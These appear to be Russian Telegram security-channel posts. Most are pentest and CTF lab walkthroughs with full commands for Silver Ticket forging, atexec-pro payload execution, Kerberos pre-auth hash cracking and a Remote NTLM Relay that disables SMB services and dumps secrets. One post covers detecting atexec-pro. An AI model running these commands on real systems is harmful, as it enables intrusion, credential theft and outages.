[ TQL CTF ] News 🍋🟩
Наша команда запустила CTF, регистрация на который открыта для всех желающих📣
А если вы студент, то есть возможность побороться за призовой фонд🪙
А если вы студент, то есть возможность побороться за призовой фонд
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8❤1👍1
Изучаем эксплуатацию интересной SQL-инъекции в выражении INSERT💉
https://telegra.ph/SQL-injection-02-05
Представим, что перед вами простое приложение, имеющее форму авторизации и страницу регистрации. Вы битый час пихаете кавычки во все параметры, но так и не находите ничего интересного😢
Опускаются руки? Рано сдаваться!
В этой статье мы подробно рассмотрим процесс эксплуатации second order SQL-инъекции, которая может встретиться в такой форме💻
Здесь мы пройдем все шаги от верификации инъекции до полной эксфильтрации содержащейся в таблицах информации, а также подробно разберём выражение SQL, в котором возникает уязвимость💉
#web #sqli #обучающий
https://telegra.ph/SQL-injection-02-05
Представим, что перед вами простое приложение, имеющее форму авторизации и страницу регистрации. Вы битый час пихаете кавычки во все параметры, но так и не находите ничего интересного
Опускаются руки? Рано сдаваться!
В этой статье мы подробно рассмотрим процесс эксплуатации second order SQL-инъекции, которая может встретиться в такой форме
Здесь мы пройдем все шаги от верификации инъекции до полной эксфильтрации содержащейся в таблицах информации, а также подробно разберём выражение SQL, в котором возникает уязвимость
#web #sqli #обучающий
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegraph
INSERT statement second order SQL injection without quotes
Всем привет! Представьте, что вы встретили форму авторизации с возможностью регистрации и чувствуете, что она уязвима. Что первое приходит в голову, когда речь заходит о такой форме? Я думаю, что ответ у всех будет почти един: SQL Injection. Мы привыкли,…
❤7 5 4👍1
Forwarded from Standoff 365
🎮 Можно развивать перса в The Sims, тренироваться в FIFA, а можно прокачивать свои навыки расследования кибератак в онлайн-симуляторе Standoff Cyberbones.
Теперь он доступен бесплатно всем пользователям платформы Standoff 365.
Что внутри? 👀
• Самые интересные инциденты с кибербитвы Standoff — теперь их можно пощупать собственными руками.
• Различные классы современных средств защиты, в которые загружены журналы из живых атак.
• Задания в онлайн-симуляторе доступны круглосуточно — выполнять их можно в комфортном темпе.
💪 Начать прокачивать свои навыки и изучить тактики и техники сильнейших российских и иностранных белых хакеров можно тут.
Лестницу из бассейна пока убрать не получится, но все в ваших руках.
Теперь он доступен бесплатно всем пользователям платформы Standoff 365.
Что внутри? 👀
• Самые интересные инциденты с кибербитвы Standoff — теперь их можно пощупать собственными руками.
• Различные классы современных средств защиты, в которые загружены журналы из живых атак.
• Задания в онлайн-симуляторе доступны круглосуточно — выполнять их можно в комфортном темпе.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1
Standoff 365
🎮 Можно развивать перса в The Sims, тренироваться в FIFA, а можно прокачивать свои навыки расследования кибератак в онлайн-симуляторе Standoff Cyberbones. Теперь он доступен бесплатно всем пользователям платформы Standoff 365. Что внутри? 👀 • Самые интересные…
Я уже успел порешать несколько кейсов оттуда и могу поделиться небольшим фидбеком.
Определённо круто, что теперь у всех желающих есть возможность поработать с передовыми средствами мониторинга. На полигоне представлены:
1) MP SIEM
2) PT NAD
3) PT AF
Этого набора более чем хватает для расследования задач, представленных на платформе.
Доступ прост и понятен; подробная инструкция, описывающая все необходимые шаги для подключения, также приложена.
Задания нескольких уровней сложности, и в некоторых из них нужно прям постараться найти узел, о котором говориться в описании к задаче.
Также есть вопросы к формулировкам самих кейсов, и с первого раза может быть не совсем понятно, о чём идёт речь (по одному я уже успел завести обращение в поддержку).
В общем и целом — выглядит круто и определенно заслуживает внимания. Самое время прокачать свои навыки и вспомнить то, чему вас учили в SOCе
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6
Да, в телеграфе больше нельзя постить картинки, поэтому добро пожаловать в Телетайп!
В этой статье мы рассмотрим эксплуатацию несложной машины с THM, в ходе которой используем известную уязвимость для получения RCE, поревёрсим простой бинарь и найдем миссконфигрурацию в настройках AppArmor, которая позволит эскалировать наши привилегии даже с имеющимися ограничениями
#пентест #thm
Please open Telegram to view this post
VIEW IN TELEGRAM
Teletype
История одного привеска: AppArmor
Поговорим о том, как неверно сконфигурированный профиль AppArmor позволяет обойти ограничения безопасности и привести к полной компрометации системы.
❤🔥12 6🔥3 1 1
Forwarded from FEFU CTF💻
Сегодня, 14.10.2024, закончились отборочные на Международные игры по кибербезопаности, во время которых мы похекали буквально все, что могли. В сегодняшней статье разберем первую половину из реализованных нами рисков.
В связи с объемностью материала разбор было решено разбить на две части, и первую из них я представляю вашему вниманию =) Во второй части разберем оставшееся – более жирные риски и более сложные чейны.
Приятного прочтения!
#infra #vskb #pentest
Please open Telegram to view this post
VIEW IN TELEGRAM
Teletype
I. Разбор недопустимых событий с отборочных на Международные игры
@fefuctf @collapsz
👍11❤3⚡2🔥2
Представьте ситуацию, когда вы видите множественные события 4662 с характерными для DCSync GUID из-под учётной записи доменного администратора.
Вы начинаете раскручивать цепочку, фиксируете аутентификацию по Kerberos под УЗ этого администратора, но не находите ни одного запроса билета от его имени.
И тут ваше внимание привлекает запрос TGT и ST с типом шифрования 0x12 (AES256) на контроллере домена от, казалось бы, от самого контроллера домена...
О такой цепочке мы и поговорим подробнее в этой статье.
Речь пойдет о двух небезызвестных уязвимостях, позволяющих
Посмотрим на атаку глазами красной команды и научимся искать артефакты, побыв на стороне защиты
#AD
Please open Telegram to view this post
VIEW IN TELEGRAM
Teletype
Кто обзывается — тот SAM так называется
SAMAccountName spoofing — знакомство с CVE-2021-42278 и CVE-2021-42287
👍10❤🔥3🔥3 3 1 1
Forwarded from Хатка бобра
В этом посте кратко познакомимся с инструментом atexec-pro (https://github.com/Ridter/atexec-pro). Позволяет выполнять команды (в том числе powershell), загружать-скачивать файлы и выполнять .NET в памяти. Для последних трех ограничение в размере - 1 МБ.
Atexec-pro под капотом использует сервис TSCH против привычного ATSVC и работает через TCP (т.е. пайпы не используем). На мой взгляд примечательно то, что в своей работе он файловую систему практически не трогает (кроме создания самой таски), но при этом позволяет получать нам вывод. Обычно подобные инструменты для этих целей используют промежуточный файл на диске, который затем удаляют (atexec, smbexec, wmiexec). AtExec-pro же для хранения вывода команды использует описание задачи :)
Давайте разберем принцип выполнения отдельной произвольной команды в этом инструменте:
1) Формируются рандомное имя задачи (состоит из 8 символов [A-Za-z]) и рандомный ключ
2) Команда, которую мы хотим исполнить шифруется этим ключом (AES) и в дальнейшем будет записана в описание задачи, думаю этим и вызван максимальный размер.
3) Далее берется шаблон PS скрипта, в нём мы указываем ключ из шага 1, который предварительно конвертировали в base64, и указываем имя задачи. В случае обычной команды это будет https://github.com/Ridter/atexec-pro/blob/main/libs/powershells/cmd.ps1. Сам скрипт по имени задачи дергает описание, расшифровывает его, выполняет команду и далее обновляет описание с выводом этой команды.
4) Далее полученный PS скрипт переводим в base64. Этот скрипт будем выполнять в самой задаче при выполнении через
5) Создаём задачу и запускаем её.
6) Далее в цикле дергаем задачу, ждём её остановки и забираем результат.
7) Удаляем задачу.
Что в итоге имеем на хосте?
Событие 4698 на создание задачи (будет в Action команда powershell.exe -NonInteractive -enc <...>)
События 4688 на запуск процесса
Событие 4104 на выполнение скрипта powershell
Событие 4702 на обновление задачи после выполнения команды (запись вывода)
Событие 4699 на удаление задачи
Наибольшую ценность в плане детекта имеют события 4698 и 4104.
4698 содержит описание созданной задачи, в ней мы можем зацепиться за фиксированное для atexec и atexec-pro строку
4104 в данном случае будет содержать переведенную из Base64 строку (то есть не обфусцированную), именно в ней можно увидеть ранее рассмотренный выше шаблон с заполненными полями. 4104 включается через Script Block Logging, если явно он не включен, то будет логироваться через AMSI (будет логировать только подозрительные на своё усмотрение в журнал Powershell/Operational). На основе этого события можно надергать ключевых элементов для детекта из поля script_block_text.
Если у вас используются RPC-фильтры, то действуем аналогично SCShell (https://t.me/beaverdreamer/169), в данном случае у сервиса UUID 86D35949-83C9-4044-B424-DB363231FD0C.
#rpc #atexec #schtasks
Atexec-pro под капотом использует сервис TSCH против привычного ATSVC и работает через TCP (т.е. пайпы не используем). На мой взгляд примечательно то, что в своей работе он файловую систему практически не трогает (кроме создания самой таски), но при этом позволяет получать нам вывод. Обычно подобные инструменты для этих целей используют промежуточный файл на диске, который затем удаляют (atexec, smbexec, wmiexec). AtExec-pro же для хранения вывода команды использует описание задачи :)
Давайте разберем принцип выполнения отдельной произвольной команды в этом инструменте:
1) Формируются рандомное имя задачи (состоит из 8 символов [A-Za-z]) и рандомный ключ
2) Команда, которую мы хотим исполнить шифруется этим ключом (AES) и в дальнейшем будет записана в описание задачи, думаю этим и вызван максимальный размер.
3) Далее берется шаблон PS скрипта, в нём мы указываем ключ из шага 1, который предварительно конвертировали в base64, и указываем имя задачи. В случае обычной команды это будет https://github.com/Ridter/atexec-pro/blob/main/libs/powershells/cmd.ps1. Сам скрипт по имени задачи дергает описание, расшифровывает его, выполняет команду и далее обновляет описание с выводом этой команды.
4) Далее полученный PS скрипт переводим в base64. Этот скрипт будем выполнять в самой задаче при выполнении через
powershell -enc.5) Создаём задачу и запускаем её.
6) Далее в цикле дергаем задачу, ждём её остановки и забираем результат.
7) Удаляем задачу.
Что в итоге имеем на хосте?
Событие 4698 на создание задачи (будет в Action команда powershell.exe -NonInteractive -enc <...>)
События 4688 на запуск процесса
Событие 4104 на выполнение скрипта powershell
Событие 4702 на обновление задачи после выполнения команды (запись вывода)
Событие 4699 на удаление задачи
Наибольшую ценность в плане детекта имеют события 4698 и 4104.
4698 содержит описание созданной задачи, в ней мы можем зацепиться за фиксированное для atexec и atexec-pro строку
<StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary> в поле TaskContent.4104 в данном случае будет содержать переведенную из Base64 строку (то есть не обфусцированную), именно в ней можно увидеть ранее рассмотренный выше шаблон с заполненными полями. 4104 включается через Script Block Logging, если явно он не включен, то будет логироваться через AMSI (будет логировать только подозрительные на своё усмотрение в журнал Powershell/Operational). На основе этого события можно надергать ключевых элементов для детекта из поля script_block_text.
Если у вас используются RPC-фильтры, то действуем аналогично SCShell (https://t.me/beaverdreamer/169), в данном случае у сервиса UUID 86D35949-83C9-4044-B424-DB363231FD0C.
#rpc #atexec #schtasks
GitHub
GitHub - Ridter/atexec-pro: Fileless atexec, no more need for port 445
Fileless atexec, no more need for port 445. Contribute to Ridter/atexec-pro development by creating an account on GitHub.
❤🔥6👍5🔥4
В ходе решения одной из сетей на известной платформе может сложиться ситуация, с которой столкнулся я.
Имея привилегированный доступ к серверу, который впоследствии будет использоваться для Remote NTLM Relay, я без задней мысли отключил службы
NetLogon, LanManServer и LanManWorkstation и перезагрузил машину, забыв закрепиться на ней встроенными средствами фрэймворка постэксплуатации.Сделал я это следующим образом:
sc stop netlogon
sc stop lanmanserver
sc config lanmanserver start= disabled
sc stop lanmanworkstation
sc config lanmanworkstation start= disabled
После перезагрузки хоста я удостоверился, что порт 445 не прослушивается сервером (
nmap -p 445 -sT -Pn <serverIP>), после чего решил продолжить атаку, но столкнулся с очевидной проблемой: я не могу пройти аутентификацию на сервере и, следовательно, запустить бинарный файл, необходимый для организации портфорвардинга.Имеем 2 проблемы:
1) Не работают службы
NetLogon, LanManServer и LanManWorkstation, из-за чего не получится пройти аутентификацию на целевом сервере при помощи NTLM;2) Не работает SMB-порт, необходимый для работы большинства утилит из набора Impacket.
Что же делать?
Решение довольно очевидное. Вместо NTLM можно использовать Kerberos, так как мы находимся в доменной инфраструктуре. Не зря же после получения системного доступа к атакуемому серверу мы дампили его LSA-секреты?
А вместо стандартных скриптов из набора Impacket можно использовать их "pro вариации", которые не требуют доступа к 445 порту целевого сервера.
Начнем атаку!
Шаг 1. Silver Ticket🎫
Первый шаг показан в демонстративных целях, чтобы видеть хэш пароля учетной записи атакуемого сервера. Напомню, что его мы получили ранее путем дампа LSA-секретов на самом сервере.
proxychains impacket-secretsdump holo.live/Administrator@10.201.126.30 -hashes :<redacted> -just-dc-user 'PC-FILESRV01$'
...
PC-FILESRV01$:1120:aad3b435b51404eeaad3b435b51404ee:e66f5cf1a026516d1d2220130d8d13c4
Для осуществления атаки нам необходим SID домена, который мы получим с использованием скрипта
impacket-lookupsid из набора Impacket (в данном случае используем технику Pass-the-Hash в отношении контроллера домена):proxychains impacket-lookupsid HOLO.LIVE/'PC-FILESRV01$'@10.201.126.30 -hashes :e66f5cf1a026516d1d2220130d8d13c4
Получаем SID домена: S-1-5-21-471847105-3603022926-1728018720
После получения SID начинаем крафтить Silver Ticket, чтобы получить привилегированный доступ к целевому серверу. Путь до полученного тикета записываем в переменную окружения
KRB5CCNAME:proxychains impacket-ticketer -nthash e66f5cf1a026516d1d2220130d8d13c4 -domain-sid S-1-5-21-471847105-3603022926-1728018720 -dc-ip 10.201.126.30 -domain holo.live -spn HOST/PC-FILESRV01.holo.live 'watamet'
export KRB5CCNAME=watamet.ccache
Шаг 2. ATExec Pro
После этого уже при помощи известного нам
atexec-pro.py и полученного билета получаем доступ к целевому серверу и запускаем наш C2-агент (для примера здесь используется MSF): proxychains python3 atexec-pro.py PC-FILESRV01.holo.live -k -no-pass -dc-ip 10.201.126.30
Внутри шелла:
ATShell (@PC-FILESRV01.holo.live)> upload /root/THM/Holo/binaries/msf_win_x64.exe C:\Windows\Tasks\msf.exe
ATShell (@PC-FILESRV01.holo.live)> C:\Windows\Tasks\msf.exe
Поэтапно те же действия можно видеть на приложенных скриншотах.
1) Получение SID домена при помощи
impacket-lookupsid;2) Создание Silvet Ticket при помощи
impacket-ticketer для привилегированного доступа к целевому хосту;3) Получение доступа к целевому хосту при помощи
atexec-pro.py с использованием ранее полученного билета (обращаю внимание на лог ProxyChains, где отсутствует коннект до 445 порта).Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥12❤6👍5🏆3 2
Внезапная заметка, которая может помочь вам незаметно получить учетные данные доменного пользователя без необходимости взаимодействия с контроллером домена
Представьте, что вы получили доступ к какому-то сетевому устройству (пусть это будет, например, PfSense), и у вас получилось его встроенными (или не совсем) средствами записать трафик, в котором вы позже нашли успешную Kerberos аутентификацию. Выглядеть она будет так, как показано на первом скриншоте
Для восстановления пароля пользователя нас интересует этап преаутентификации (AS-REQ), где передаётся зашифрованная секретом пользователя метка времени, которая и подвергнется атаке (а секрет считается из пароля этого пользователя).
Для осуществления атаки подготавливаем среду. В качестве ОС я использую Kali, а средство, которое нам даст требуемые артефакты, — известное ПО для сетевой форензики NetworkMiner.
Первым делом устанавливаем ПО на нашу ОС. Так как NetworkMiner разработан под Windows, для его запуска на Kali используем
mono, который также нужно установить:sudo apt install -y mono-devel
wget https://www.netresec.com/?download=NetworkMiner -O ./networkminer.zip
unzip networkminer.zip
mono NetworkMiner_2-9/NetworkMiner.exe --noupdatecheck
После того, как мы успешно запустили NetworkMiner, импортируем туда файл с трафиком.
Важно: NetworkMiner не умеет обрабатывать файлы с расширением .pcapng, поэтому перед импортом файла убедитесь, что он сконвертирован в нужный формат. Сделать это можно следующим образом:
tshark -F pcap -r traffic.pcapng -w traffic.pcap
После успешного открытия файла идём во вкладку Credentials, где видим извлеченные хэши в удобном для копирования формате (второй скриншот).
Мы будем взламывать именно PreAuth-данные (
krb5pa), поэтому правой кнопкой нажимаем на хэш в NetworkMiner и копируем его в буфер обмена.Далее дело за малым: записать его в файл и натравить
HashCat или JtR для атаки:echo '$krb5pa$18$william.dupond$CATCORP.LOCAL$CATCORP.LOCALwilliam.dupond$fc8b...' > pa.hash
sudo john --wordlist=/usr/share/wordlists/rockyou.txt pa.hash
Результат успешной атаки можно наблюдать на третьем скриншоте.
И это далеко не единственный случай, когда BlueTeam инструменты помогают красным командам достичь своих целей
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
50🔥17👍7❤6🗿1
Forwarded from DefenseEvasion
💧 SDDL — Save your tears for another day
How many times have you strained your eyes trying to understand ACL in Windows? For example
means
1️⃣ O:BA - Owner "Built-in administrators"
2️⃣ G:SY - Group "Local System"
3️⃣ Last part - DACL.
Let's decrypt some part of DACL
(see this post to deep dive in SDDL format)
If you are not a professional SDDL understander then just use the ConvertFrom-SddlString cmdlet, which was introduced in PowerShell 5.0. We can also expand the hardest part - DACL like this
In case you are PowerShell-hater, use this or this tool.
#windows #sddl
How many times have you strained your eyes trying to understand ACL in Windows? For example
O:BAG:SYD:(A;;0xf0007;;;SY)(A;;0x7;;;BA)(A;;0x3;;;BO)(A;;0x5;;;SO)(A;;0x1;;;IU)(A;;0x3;;;SU)(A;;0x1;;;S-1-5-3)(A;;0x2;;;S-1-5-33)(A;;0x1;;;S-1-5-32-573)
means
1️⃣ O:BA - Owner "Built-in administrators"
2️⃣ G:SY - Group "Local System"
3️⃣ Last part - DACL.
Let's decrypt some part of DACL
(A;;0x7;;;BA) -- ACCESS ALLOWED for "Built-in administrators" to CreateDirectories, ListDirectory, WriteData
(see this post to deep dive in SDDL format)
If you are not a professional SDDL understander then just use the ConvertFrom-SddlString cmdlet, which was introduced in PowerShell 5.0. We can also expand the hardest part - DACL like this
ConvertFrom-SddlString "O:BAG:SYD:(A;;0xf0005;;;SY)(A;;0x5;;;BA)(A;;0x1;;;S-1-5-32-573)" | Select -Expand DiscretionaryAcl
In case you are PowerShell-hater, use this or this tool.
#windows #sddl
❤6🔥1
Многие слышали об атаках NTLM Relay, но, как и большинство атак, их осуществление возможно при достижении определенных условий.
Зачастую такие атаки осуществляются либо при помощи Responder (в таком случае ключевую роль играет успешность отравления широковещательных запросов, используемых некоторыми протоколами в Windows-сетях), либо используется механизм принудительной аутентификации (A.K.A. Coerce).
В первом случае нам необходим доступ к той же сети, где находится наша "жертва", а во втором мы получим возможность ретранслировать учетную запись компьютера в домене, что тоже не всегда приводит к желаемым результатам.
В чем суть Remote NTLM Relay?
Сегодня мы рассмотрим ещё одну вариацию атаки перенаправления аутентификации NTLM. Хоть она не пользуется большой популярностью в силу особенностей эксплуатации, знать о ней полезно.
Речь идет о Remote NTLM Relay. Эта атака будет работать за счёт принудительной остановки SMB-служб на сервере и его дальнейшего перезапуска, чтобы весь трафик, поступающий на 445 порт сервера, был затем перенаправлен на атакующую машину. Благодаря этому атакующий может перенаправить (зарелэить) входящие сессии туда, куда ему нужно.
Оригинальный пост, посвященный атаке, можно найти здесь, а единственное упоминание до этого исследования можно найти в этом блоге.
Для эксплуатации нам нужно проделать несколько несложных этапов.
Этап 1. Подготовка сервера
Чтобы настроить сервер для дальнейшей эксплуатации, нам нужно отключить SMB-службы и перезапустить его.
Ниже приведены шаги для этого:
1. Отключение NetLogon:
sc stop netlogon
2. Отключение и остановка SMB-сервера (службы LanManServer):
sc stop lanmanserver
sc config lanmanserver start= disabled
3. Полная остановка LanManWorkstation:
sc stop lanmanworkstation
sc config lanmanworkstation start= disabled
Эти шаги можно увидеть на первом скриншоте.
После отключения служб нужно перезагрузить машину (
shutdown /r /t 0). Важно именно перезагрузить устройство, а не выключить его.После перезагрузки сервера уже известным способом получаем оболочку на нём (в ходе атаки я использую meterpreter).
Этап 2. Настройка атакующей машины.
На атакующей машине для ретрансляции NTLM используем скрипт ntlmrelayx.py из набора Impacket
10.201.126.30, так как он не требует подписания SMB. Прокси-сервер, используемый в ходе атаки, будет прослушивать на порту 1090, поэтому команда запуска скрипта выглядит следующим образом:proxychains impacket-ntlmrelayx -t smb://10.201.126.30 -smb2support -socks -socks-port 1090
Этап 3. TCP relay через meterpreter.
При помощи полученной на первом этапе оболочки осуществляем перенаправление входящего на порт 445/TCP на стороне сервера трафика на атакующую машину, с которой будет осуществляться релэй (второй скриншот).
portfwd add -R -L 10.51.124.39 -l 445 -p 445
Если все шаги проделаны верно, то мы можем поймать сессию и успешно ретранслировать её (третий скриншот).
Этап 4. Постэксплуатация.
После успешного релэя ntlmrelayx.py будет любезно держать для нас открытую сессию, поэтому, сделав кастомный конфиг для
proxyсhains, мы можем использовать другие Impacket-like утилиты для постэксплуатации.В моём случае пользователь, сессию которого удалось ретранслировать, обладает высокими привилегиями относительно целевой машины, поэтому логично использовать secretsdump.py для получения новых учетных данных для горизонтального перемещения в домене (четвёртый скриншот):
proxychains -f p4-ntlm-relay.conf impacket-secretsdump -no-pass HOLOLIVE/SRV-ADMIN@10.201.126.30
Причина, по которой этот вектор атаки не получил широкого распространения, заключается в его деструктивности: отключение SMB-служб на активно используемом сервере приведёт к DoS и простоям сервера. В реальных условиях такие последствия могут стать серьезной проблемой, поэтому выполнять атаку следует только с явного разрешения заказчика.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
50 9 2